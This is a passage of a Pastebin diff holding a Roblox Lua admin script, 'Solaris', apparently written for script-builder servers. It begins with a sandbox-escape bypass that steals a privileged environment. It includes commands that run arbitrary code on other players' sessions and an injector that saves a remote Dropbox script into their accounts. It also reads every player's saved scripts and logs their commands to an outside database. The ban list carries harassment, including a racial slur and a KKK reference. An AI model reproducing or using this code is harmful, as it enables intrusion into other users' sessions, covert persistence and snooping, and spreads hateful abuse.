View difference between Paste ID: ktBgQpha and RmY9N6Xw

 wait(); --Unremovable bypass
 script.Parent=nil
 rawset(shared, "\0bp", function()
 local i=game:service'InsertService':LoadAssetVersion(519416165);
 local n=i:children()[1];
 game:service'Debris':AddItem(i,0);
 n.Parent=workspace;
 coroutine.yield();
 local e;
 pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
 _G.OSC_AddServerSideData=nil;
 game:service'Debris':AddItem(n,0);
 return e
 end);
 local y=shared['\0bp']();
 shared["\0bp"]=nil;
 game:GetService'ReplicatedStorage':ClearAllChildren();
 y.setfenv(0,y);
 y.setfenv(1,y);
 y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
 
 -- Easiest Fixing ever l0l.
 
 --// Solaris Administration VERSION 1.0
 local Solaris = {
 	AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
     --// Kill Switch
     __STATUS = true;
     --// Administrations Components
     Admins  = {
 
 		["explotion1337"]={Level=2e9};
     };
 	Levels = {
 		[1]="User";
 		[2]="Trusted";
 		[3]="Friend";
 		[4]="Administrator";
 		[5]="Creator/Developer";
                 [2e9]="Scripter of all!";
 	};
     Banned  = {
     	gage7252002="bye bye skid ur banned now";
     	--Mikko3m="dont ban me skid C:";
     	--w00t111="this server has a age restriction come back in 970 days";
     	--CharcterKaiser="go die annoying skid";
     	--FallingVortex="lrn 2 skript kid gtfo liquidex skid";
     	robloxchamp20="u ban me i ban u git rkt";
 	--	iiDeadzone="u ban me i ban u git rkt";
 		endermanac="git bbban11!!!";
 		Dman2435="die just die";
 		Dman2435alt="die just die";
 		meunumbertwo="ur banned bby";
 		Copenricus45="you got stopped by an admin skid c;";
         FreeModelInventor="get out skid go suc\5k my dick bitch whore";
         PWNTART = "die pls thx u";
         HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk";
         BookOEchos="git banned bitch";
         Autospy="another alt another ban";
         TotallyNotAnAlt1257="another alt another ban";
         fmerSKID005="another alt another ban";
         crazychimp1284="dienoobkthxbye";
 		MrXTheGreat="dienoobkthxbye";
 		ScriptNurd="dienoobkthxbye";
 		Therealestnumber1="dienoobkthxbye";
 		Opligi="dienoobkthxbye";
 		jmckoy12="dienoobkthxbye";
 		["5ascfrhubber"]="dienoobkthxbye";
 		DangCoolIsReal3="dienoobkthxbye";
 		legendy123="dienoobkthxbye";
 		PithIsOnline="dienoobkthxbye";
 		Opllgltory="git banned wanabe";
 		YeaImnotanalt="dienoobkthxbye";
 		superkiki609="git banned?";
 		immcool1="git banned now skid";
                  Om3gapro5ooo="f#ck you";
                  Skrillex6996="lol you banned";
                  rafael4040="get rekt lol";
 
 	};
     Chatted = {
         Settings = {
             Prefix = ";";
             Suffix = "-";
         };
         Commands = {};
     };
     --// Orb Components
     Settings = {
 		Orb        = nil;
 		Character  = nil;
 		Following  = false;
 		Target     = "";
 		TrailParts = {};
 		Trail      = true;
 		OrbColor   = BrickColor.new("Institutional white");
 		TrailColor = BrickColor.new("Institutional white");
 		Rotation   = {
 			Rot    = 0;
 			Radius = 6.3;
 			Height = 1;
 			Bounce = 2.0;
 			Speed  = 0.03;
 			Length = 0.014;
 		};
 	};
     --// Tool Components
     Blocker = {
         LocalBlock  = false;
         GlobalBlock = false;
 		LagBlocker  = true;
     };
 	LagBlockedInstances = {
 		"Message";
 		"Hint";
 		"Sound";
 	};
     Logs = {};
     --// Functional Storage
     API = {
 		Bootstrap = {}
 	};
 }
 local Settings = Solaris.Settings
 local API = Solaris.API
 local Bootstrap = API.Bootstrap
 local Time = require(285173569)
 local rbxdb = require(278524047)
 --local key = "b0454f5837d3aaeeb879937c6f6c2215"
 --pcall(rbxdb:Connect(key))
 
 --// Output API
 
 function API.print_to(target,input)
     if input == nil then input = "nil" end
     local plr
     if type(target)=='userdata'then
         plr = target
     elseif type(target)=='string'then
         plr = game:GetService('Players'):FindFirstChild(target)
     end
     if type(plr)=='userdata' then
         local str = Instance.new('StringValue',plr)
         str.Name = 'SB_Output:Output'
         str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
     end
 end local print_to = Solaris.API.print_to
 
 function API.print(input)
     if input == nil then input = "nil" end
     for i,v in pairs(game:GetService('Players'):children())do
         if Solaris.Admins[v.Name]then
             if Solaris.Admins[v.Name].Level > 2 then
                 print_to(v,input)
             end
         end
     end
 end local print = Solaris.API.print
 
 function API.print_lvl(level,input)
     if input == nil then input = "nil" end
     for i,v in pairs(game:GetService('Players'):GetPlayers())do
         if Solaris.Admins[v.Name]then
             if Solaris.Admins[v.Name].Level > level then
                 print_to(v,input)
             end
         end
     end
 end local print_lvl = Solaris.API.print_lvl
 
 function API.broadcast(input)
     if input == nil then input = "nil" end
     for i,v in pairs(game:GetService('Players'):GetPlayers())do
         print_to(v,input)
     end
 end local broadcast = Solaris.API.broadcast
 
 --// Utility API
 
 function API.Make(ClassName)
 	return function(data)
 		local Instance = Instance.new(ClassName)
 		for index,value in pairs(data) do
 			if type(index) == "number" then
 				value.Parent = Instance
 			else
 				Instance[index] = value
 			end
 		end
 		return Instance
 	end
 end local Make = API.Make
 
 function API.clerp(p1,p2,percent)
 	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
 	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
 	return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
 end local clerp = API.clerp
 
 function API.Rainbow(i)
     local section = i % 1 * 3
     local secondary = 0.5 * math.pi * (section % 1)
     if section < 1 then
         return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
     elseif section < 2 then
         return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
     else
         return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
     end
 end local Rainbow = API.Rainbow
 
 function API.GetPlayer(msg,plr)
 	local Collected_Players = {}
 	if string.lower(msg) == "me" then
 		table.insert(Collected_Players, plr)
 	elseif string.lower(msg) == "all" then
 		for index,player in pairs(game:GetService('Players'):children()) do
 			if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
 				table.insert(Collected_Players, player)
 			end
 		end
 	elseif string.lower(msg) == "others" then
 		for index,player in pairs(game:GetService('Players'):children()) do
 			if player.Name ~= plr.Name then
 				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
 					table.insert(Collected_Players, player)
 				end
 			end
 		end
 	elseif string.lower(msg) == "friends" then
 		for index,player in pairs(game:GetService('Players'):children()) do
 			if player.Name ~= plr.Name then
 				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
 					if plr:IsFriendsWith(player.userId) == true then
 						table.insert(Collected_Players, player)
 					end
 				end
 			end
 		end
 	elseif string.lower(msg) == "nonfriends" then
 		for index,player in pairs(game:GetService('Players'):children()) do
 			if player.Name ~= plr.Name then
 				if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then
 					if plr:IsFriendsWith(player.userId) == false then
 						table.insert(Collected_Players, player)
 					end
 				end
 			end
 		end
 	else
 		for index,player in pairs(game:GetService('Players'):children()) do
 			if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
 				if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then
 					table.insert(Collected_Players, player)
 				end
 			end
 		end
 	end
 	return Collected_Players
 end local GetPlayer = API.GetPlayer
 
 function API.GetSplit(msg)
    return string.find(msg,Solaris.Chatted.Settings.Suffix)
 end local GetSplit = API.GetSplit
 
 function API.Generate(Length)
 	local Generated = ""
 	for _ = 1, Length do
 		Generated = Generated .. string.char(math.random(33,126))
 	end
 	return Generated
 end local Generate = API.Generate
 
 function API.GetGarbage(plr)
 	print_to(plr,"Got Garbage")
 	print_to(plr,"________________________")
 	for i = 1,10 do wait(1)
 		print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
 	end
 	print_to(plr,"________________________")
 end local GetGarbage = API.GetGarbage
 
 --// Orb API
 
 function API.SpawnOrb()
 	Settings.Orb = Make('Part'){
 		Name = "\5\5\5\5Solar\5\5is\5\5\5\5";
 		Parent = game.Workspace,
 		BrickColor = Settings.OrbColor,
 		Material = Enum.Material.SmoothPlastic,
 		Transparency = .1,
 		Anchored = true,
 		CanCollide = false,
 		Locked = true,
 		FormFactor = "Symmetric",
 		Shape = "Ball",
 		Size = Vector3.new(1,1,1),
 		TopSurface = 10,
 		BottomSurface = 10,
 	}Settings.Orb.Changed:connect(function()
 		if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
 			if Solaris.__STATUS == true then
 				API.SpawnOrb()
 			end
 		end
 	end)
 end local SpawnOrb = API.SpawnOrb
 
 function API.MakeTrail()
 	if Settings.Orb ~= nil and Settings.Trail == true then
 		local Trail = Make'Part'{
 			CanCollide = false,
 			Parent = Settings.Orb,
 			BrickColor = Settings.TrailColor,
 			Material = Enum.Material.SmoothPlastic,
 			Transparency = .1,
 			Anchored = true,
 			Locked = true,
 			FormFactor = "Custom",
 			Size = Vector3.new(.2,.2,.2),
 			CFrame = Settings.Orb.CFrame,
 			TopSurface = 10,
 			BottomSurface = 10,
 		}table.insert(Settings.TrailParts, Trail)
 		return Trail
 	end
 end local MakeTrail = API.MakeTrail
 
 function API.SpawnTrail()
 	if Settings.Orb ~= nil and Settings.Trail == true then
 		local Trail = API.MakeTrail()
 	end
 end local SpawnTrail = API.SpawnTrail
 
 function API.Rotate()
 	game:GetService('RunService').Stepped:connect(function()
 		if Solaris.__STATUS == true then
 			wait()
 			local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
 			if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
 				Settings.Character = Following.Character.Torso.CFrame
 			else
 				Settings.Character = CFrame.new(0,5.7,0)
 			end
 			if Settings.Orb ~= nil then
 				Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
 				Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5"
 				Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
 					CFrame.new(Settings.Character.p)
 					*CFrame.new(0,3.9,0)
 					*CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
 					*CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
 					*CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9)     ,.1)
 				API.SpawnTrail()
 				for i,_ in next,Settings.TrailParts do
 					if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
 						local Part1 = Settings.TrailParts[i]
 						local Part2 = Settings.TrailParts[i+1]
 						local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
 						Part1.Name = math.random(1,99999999)
 						Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
 						Part1.Transparency = Part1.Transparency + .017
 						Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
 						* CFrame.Angles(math.pi/2,0,0)
 						if Part1.Size.X >= .74 then
 							Part1:Destroy()
 							table.remove(Settings.TrailParts, i)
 						end
 					end
 				end
 			end
 		end
 	end)
 end local Rotate = API.Rotate
 
 function API.ChangeTheme(plr,theme)
 	--// Sets orb to default configurations
 	Settings.Orb.BrickColor = BrickColor.new('White')
 	Settings.Orb.Transparency = .1
 	for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
 	--// Themes
 	if theme == 'normal' then
 		API.SpawnTrail = function()
 			if Settings.Orb ~= nil and Settings.Trail == true then
 				local Trail = API.MakeTrail()
 			end
 		end
 	elseif theme == 'op' then
 		API.SpawnTrail = function()
 			if Settings.Orb ~= nil and Settings.Trail == true then
 				local Trail = API.MakeTrail()
 				spawn(function()
 					Settings.Orb.BrickColor = BrickColor.new('Really black')
 					Trail.BrickColor = BrickColor.new('Deep orange')
 					local box = Make('SelectionBox'){
 						Adornee = Trail;
 						Parent = Trail;
 						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
 						LineThickness = 0.001;
 						Color3 = Color3.new(0,0,0);
 					}
 				end)
 			end
 		end
 	elseif theme == 'op-light' then
 		API.SpawnTrail = function()
 			if Settings.Orb ~= nil and Settings.Trail == true then
 				local Trail = API.MakeTrail()
 				spawn(function()
 					Settings.Orb.BrickColor = BrickColor.new('Really black')
 					Trail.BrickColor = BrickColor.new('Deep orange')
 					local box = Make('SelectionBox'){
 						Adornee = Trail;
 						Parent = Trail;
 						Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
 						LineThickness = 0.001;
 						Color3 = Color3.new(255,255,255);
 					}
 				end)
 			end
 		end
     elseif theme == 'clv' then
         API.SpawnTrail = function()
            local Trail = API.MakeTrail()
            spawn(function()
                Trail.BrickColor = BrickColor.new("Cyan")
                Settings.Orb.BrickColor = BrickColor.new("Really black")
                local S_Box = Make('SelectionBox'){
                  Adornee = Trail;
                  Parent = Trail;
                  Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
                  LineThickness = 0;
                  Color3 = BrickColor.new("Really black").Color;
                 }
            end)
         end
 	elseif theme == 'whiteout' then
         API.SpawnTrail = function()
            local Trail = API.MakeTrail()
            spawn(function()
                Trail.BrickColor = BrickColor.new("White")
                Settings.Orb.BrickColor = BrickColor.new("Really black")
                local S_Box = Make('SelectionBox'){
                  Adornee = Trail;
                  Parent = Trail;
                  Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
                  LineThickness = 0;
                  Color3 = BrickColor.new("Really black").Color;
                 }
 			   local Mesh = Make('SpecialMesh'){
 					Parent = Settings.Orb;
 					MeshId = "http://www.roblox.com/asset/?id=1529453";
 					Name   = "Mesh";
 					Scale  = Vector3.new(2.5,2.5,2.5)
 				}
            end)
         end
 	elseif theme == 'hidden' then
         API.SpawnTrail = function()
            local Trail = API.MakeTrail()
            spawn(function()
                Trail.Transparency = 1
                Settings.Orb.Transparency = 1
            end)
         end
 	else
 		print_to(plr,"[Error]: "..theme.." is not a valid theme name")
 		return
 	end
 	print_to(plr,"[Solairs]: Orb has changed theme to "..theme)
 end local ChangeTheme = API.ChangeTheme
 
 function API.Follow(boolean,plr)
 	if type(plr)~='string'then return end
 	if boolean == true then
 		Settings.Following = true
 		Settings.Target = plr
 	elseif boolean == false then
 		Settings.Following = false
 		Settings.Target = ""
 	end
 end local Follow = API.Follow
 
 --// Oxcool1 Sb Tools API
 
 function API.Sbexe(cmd,plr)
     if not type(cmd)=='string'then return end
     if plr then
         if type(plr)=='userdata'then
            plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
         elseif type(plr)=='string'then
             plr = game:GetService('Players'):FindFirstChild(plr)
             plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
         end
     else
         for i,v in pairs(game:GetService('Players'):children())do
             v:FindFirstChild("SB_CommandRemote",true).Value = cmd
         end
     end
 end local Sbexe = API.Sbexe
 
 function API.ConnectLogger(plr)
 	if type(plr) ~= 'userdata'then return end
 	if plr:FindFirstChild("SB_CommandRemote",true) then
 		plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
 			if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
 				Sbexe("g/ns")wait(.1)
 				plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
 			end
 			if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
 				table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
 				local CurrentTime = Time:GetTime()
 				local TimeStamp   = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
 				rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
 			end
 		end)
 	end
 end local ConnectLogger = API.ConnectLogger
 
 function API.GetLogs(plr)
 	print_to(plr,"Got logs")
 	if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end
 	for index,data in pairs(Solaris.Logs)do
 		if #Solaris.Logs > 30 then wait(.1)end
 		print_to(plr,tostring(data.User))
 		print_to(plr,tostring(data.Command))
 		print_to(plr,"--------------------------------")
 	end
 end local GetLogs = API.GetLogs
 
 function API.InjectLoader(plr)
 	Sbexe("remove/Solaris",plr)
 	Sbexe("ch/Solaris/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr)
 	Sbexe("save/Solaris",plr)
 end local InjectLoader = API.InjectLoader
 
 function API.GetSavedScripts(plr)
 	local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
 	print_to(plr,"Got Saved Scripts")
 	for i,v in pairs(game:GetService('Players'):children())do
 		if v.ClassName == 'Player' then
 			local Encoded_Table = v:LoadString(Save_Key)
 			local Decoded_Table
 
 			--//Table Decoding
 			if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
 				Decoded_Table = {{No=" Saved Scripts"}}
 			else
 				Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
 			end
 			--// Table Printing
 			--print_to(plr,"------------------------------------------------------------------")
 			print_to(plr,"--------------------------["..v.Name.."]--------------------------")
 			if type(Decoded_Table)=='table'then
 				for _index,_data in pairs(Decoded_Table)do
 					for index,data in pairs(_data)do
 						wait(.1)
 						print_to(plr,index.." : "..data)
 					end
 				end
 			end
 			print_to(plr,"------------------------------------------------------------------")
 		end
 	end
 end local GetSavedScripts = API.GetSavedScripts
 
 function API.GiveServerConsole(Player)
 	if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
 		spawn(function()
 			local Create = API.Make
 			local Closed = false
 			local ScreenGui = Create "ScreenGui" {
 				Name = "Server Console",
 				Parent = Player.PlayerGui
 			}
 			local Main = Create "TextButton" {
 				AutoButtonColor = false,
 				BackgroundColor3 = Color3.new(0, 0, 0),
 				BorderSizePixel = 0,
 				Size = UDim2.new(0, 375, 0, 15),
 				Draggable = true,
 				Font = "SourceSansBold",
 				FontSize = "Size14",
 				TextYAlignment = "Top",
 				TextColor3 = Color3.new(1, 1, 1),
 				Text = " Server Console",
 				TextXAlignment = "Left",
 				Position = UDim2.new(0.321, 0, 0.196, 0),
 				Parent = ScreenGui
 			}
 			local Refresh = Create "TextButton" {
 				Active = true,
 				AutoButtonColor = false,
 				BackgroundColor3 = Color3.new(0, 0, 0),
 				BorderSizePixel = 0,
 				Position = UDim2.new(1, 0, 0, 0),
 				Size = UDim2.new(0, 60, 0, 15),
 				Font = "SourceSansBold",
 				FontSize = "Size14",
 				Text = "Refresh",
 				TextYAlignment = "Top",
 				TextColor3 = Color3.new(1, 1, 1),
 				TextYAlignment = "Top",
 				TextXAlignment = "Right",
 				Parent = Main
 			}
 			local TextButton = Create "TextButton" {
 				AutoButtonColor = false,
 				BackgroundColor3 = Color3.new(0, 0, 0),
 				BorderSizePixel = 0,
 				Position = UDim2.new(1, 60, 0, 0),
 				Size = UDim2.new(0, 15, 0, 15),
 				Font = "SourceSansBold",
 				FontSize = "Size14",
 				TextYAlignment = "Top",
 				Text = "-",
 				TextColor3 = Color3.new(1, 1, 1),
 				Parent = Main
 			}
 			local ContentFrame = Create "Frame" {
 				BackgroundColor3 = Color3.new(0, 0, 0),
 				BackgroundTransparency = 0.2,
 				BorderSizePixel = 0,
 				Position = UDim2.new(0, 0, 0, 15),
 				Size = UDim2.new(0, 450, 0, 0),
 				Parent = Main
 			}
 			local ScrollingFrame = Create "ScrollingFrame" {
 				Size = UDim2.new(1, 0, 1, 0),
 				CanvasSize = UDim2.new(3, 0, 0, 0),
 				MidImage = "rbxassetid://158362264",
 				TopImage = "rbxassetid://158362307",
 				BottomImage = "rbxassetid://158362221",
 				BackgroundTransparency = 1,
 				BorderSizePixel = 0,
 				ScrollBarThickness = 5,
 				Parent = ContentFrame
 			}
 			ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
 			TextButton.MouseButton1Down:connect(function()
 				if Closed == false then
 					Closed = true
 					TextButton.Text = "+"
 					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
 					delay(1, function()
 						ScrollingFrame.Visible = false
 					end)
 				else
 					Closed = false
 					TextButton.Text = "-"
 					ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
 					delay(0.5, function()
 						ScrollingFrame.Visible = true
 					end)
 				end
 			end)
 			local function GetNumberOfChildren(Object)
 				local Number = -15
 				for index,child in pairs(Object:GetChildren()) do
 					if child.ClassName == "TextLabel" then
 						Number = Number + 15
 					end
 				end
 				return Number
 			end
 			local function Output(Text, Color)
 				local Line = Create "TextLabel" {
 					ZIndex = 2,
 					BackgroundTransparency = 1,
 					BorderSizePixel = 0,
 					Text = string.format(" %s", Text),
 					Font = "SourceSansBold",
 					FontSize = "Size14",
 					TextColor3 = Color,
 					TextWrapped = false,
 					Size = UDim2.new(1, 0, 0, 15),
 					Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
 					TextXAlignment = "Left",
 					TextYAlignment = "Top",
 					TextStrokeTransparency = 0.9,
 					Parent = ScrollingFrame,
 				}
 				if #ScrollingFrame:GetChildren() > 29 then
 					local NumChildren = GetNumberOfChildren(ScrollingFrame)
 					ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
 					ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
 				end
 			end
 			local function OutputLogHistory()
 				for index,data in pairs(game.LogService:GetLogHistory()) do
 					if data.messageType == Enum.MessageType.MessageOutput then
 						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
 					elseif data.messageType == Enum.MessageType.MessageWarning then
 						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
 					elseif data.messageType == Enum.MessageType.MessageError then
 						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
 					elseif data.messageType == Enum.MessageType.MessageInfo then
 						Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
 					end
 				end
 			end
 			OutputLogHistory()
 			Refresh.MouseButton1Down:connect(function()
 				ScrollingFrame:ClearAllChildren()
 				wait()
 				OutputLogHistory()
 			end)
 		end)
 	end
 end local GiveServerConsole = API.GiveServerConsole
 
 function API.SafeExe(string_src,string_plr)
 	if string_src == nil then string_src = "" end
 
 	local BypassEnv = getfenv(1)
 	BypassEnv.script = "Locked Object"
 	BypassEnv.print_to = print_to
 	rawset(_G,"NewBypassEnv",BypassEnv)
 
 	local ExecuteSource = [[
 		wait(.1)
 		local newEnv = _G.NewBypassEnv
 		newEnv.owner = getfenv(1).owner
 		newEnv.print = function(i)
 			if i == nil then i = "" end
 			newEnv.print_to(tostring(owner),i)
 		end
 		setfenv(1,newEnv)
 	]]
 	local ExeSrc = ExecuteSource..string_src
 	Sbexe("c/"..ExeSrc,string_plr)
 end local SafeExe = API.SafeExe
 
 --// Admin API
 
 function API.GetAdmins(plr)
 	for i,v in pairs(Solaris.Admins)do
 		print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level])
 	end
 end local GetAdmins = API.GetAdmins
 
 function API.AddCommand(Name,Usage,Desc,Level,Func)
 	table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
 end local AddCommand = API.AddCommand
 
 function API.Chatted(plr,msg)
 	if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
 		Sbexe("g/ns")
 		plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
 	end
 	local Commands = Solaris.Chatted.Commands
 	local Prefix   = Solaris.Chatted.Settings.Prefix
 	local Suffix   = Solaris.Chatted.Settings.Suffix
 	local sub      = string.sub
 	local lower    = string.lower
 	if sub(msg,1,3)=='/e 'then
 		msg = sub(msg,4)
 	end
 	if Solaris.Admins[plr.Name]then
 		for index,data in pairs(Commands)do
 			if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
 				if Solaris.Admins[plr.Name].Level >= data.Level then
 					local y,n = ypcall(function()
 						data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
 					end)
 					if not y then
 						print_to(plr,"[Error]: a command related error has occured : "..n)
 					end
 				else
 					print_to(plr,"[Error]: Your access level is to low for that command")
 				end
 			end
 		end
 	end
 end local Chatted = API.Chatted
 
 function API.BootCommands()--// Function that calls and injects all commands
 
 	AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
 		print_to(Player,"[Solaris]: TEST")
 	end)
 
 	AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
 		print_to(Player,"Got Commands")
 		print_to(Player,"---------------------------------------------------------------")
 		for index,data in pairs(Solaris.Chatted.Commands)do
 			print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
 			print_to(Player,"---------------------------------------------------------------")
 		end
 	end)
 
 	AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
 		print_to(Player,"Got admins")
 		GetAdmins(Player)
 	end)
 
 	AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
 		GetLogs(Player)
 	end)
 
 	AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
 		local Split = GetSplit(Message)
 		local Plrs
 		local Reason
 		if Split == nil then
 			 Plrs = Collect_Players(Message,Player)
 			 Reason = nil
 		else
 			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
 			Reason = Message:sub(Split+1)
 		end
 		if #Plrs>0 then
 			for _,Plr in pairs(Plrs) do
 			    if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
 				Plr:Kick(tostring(Reason))
 			end
 		end
 	end)
 
 	AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
 		local Split = GetSplit(Message)
 		local Plrs
 		local Reason
 		if Split == nil then
 			 Plrs = Collect_Players(Message,Player)
 			 Reason = nil
 		else
 			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
 			Reason = tostring(Message:sub(Split+1))
 		end
 		if #Plrs>0 then
 			for _,Plr in pairs(Plrs) do
 			    if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
 				--table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason))
 				Solaris.Banned[Plr.Name]=tostring(Reason)
 				Plr:Kick("You have been banned for "..tostring(Reason))
 			end
 		end
     end)
 
 	AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
 		for i,v in pairs(Solaris.Banned)do
 			if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
 				Solaris.Banned[i]=nil
 			end
 		end
 	end)
 
 	AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
 		print_to(Player,"Got Banned")
 		print_to(Player,"--------------------------------")
 		for i,v in pairs(Solaris.Banned)do
 			print_to(Player,"["..tostring(i).."]: "..tostring(v))
 			print_to(Player,"--------------------------------")
 		end
 	end)
 
 	AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
 	    local Split = GetSplit(Message)
 	    local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
 	    local Command = Message:sub(Split+1)
 	    if #Plrs>0 then
 	        for index,data in pairs(Plrs)do
 	            Sbexe(Command,data)--afk
 	        end
 	    end
 	end)
 
 	AddCommand('Loader','injl','Injects Solaris loader to a player',3,function(Message, Collect_Players, Player)
 		local Plrs = Collect_Players(Message,Player)
 		if #Plrs > 0 then
 			for i,v in pairs(Plrs)do
 				print_to(v,"[Solaris]: has issued a loader to you")
 				InjectLoader(v)
 			end
 		end
 	end)
 
 	AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
 		ChangeTheme(Player,Message)
 	end)
 
 	AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
 		if #Message>0 then
 			local Plrs = Collect_Players(Message,Player)
 			if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
 			for index,data in pairs(Plrs)do
 				Follow(true,data.Name)
 			end
 		else
 			Follow(true,Player.Name)
 		end
 	end)
 
 	AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
 		Follow(false,"")
 	end)
 
 	AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
 		for i,v in pairs(game:GetService('Players'):children())do
 			v:Kick('This server has shutdown')
 		end
 	end)
 
 	AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
 		local Split = GetSplit(Message)
 		local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
